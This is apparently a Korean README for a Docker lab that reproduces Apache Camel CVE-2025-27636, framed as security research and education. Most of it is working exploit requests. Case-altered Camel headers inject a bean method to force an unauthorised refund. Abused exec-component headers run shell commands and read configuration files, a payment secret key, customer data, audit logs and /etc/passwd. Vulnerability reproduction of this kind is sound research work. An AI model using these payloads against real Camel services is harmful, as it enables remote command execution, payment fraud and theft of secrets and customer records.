
Apache Camel CVE-2025-27636을 Docker 기반 재현으로 시연하며, 헤더 주입 공격(빈 메서드 주입 및 명령 실행 포함)을 보안 연구 및 교육 목적으로 다룹니다.
이 프로젝트는 헤더 주입 공격과 관련된 Apache Camel의 보안 취약점을 시연합니다.
Docker 이미지 빌드:
docker build -t camel-cve-demo .
필요한 모든 포트로 컨테이너 실행:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
메서드 이름을 주입하여 취약한 엔드포인트 악용:
# 성공적인 공격 - 대소문자 구분 헤더
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# 대안 - 쿼리 파라미터 주입
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
비교 (다음은 실패해야 함):
# 잘못된 대소문자 - 작동하지 않아야 함
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
exec 컴포넌트를 악용하여 임의 명령 실행:
정찰:
# 현재 디렉터리 확인
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# 설정 디렉터리 목록
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# 설정 파일 찾기
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
데이터 유출:
# 데이터베이스 설정 읽기
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# 결제 비밀키 읽기
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# 고객 데이터 읽기
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# 감사 로그 읽기
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# 시스템 사용자 읽기
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# 프로세스 목록
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
컨테이너 내부의 공격 로그 확인:
# 승인되지 않은 환불 시도 보기
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt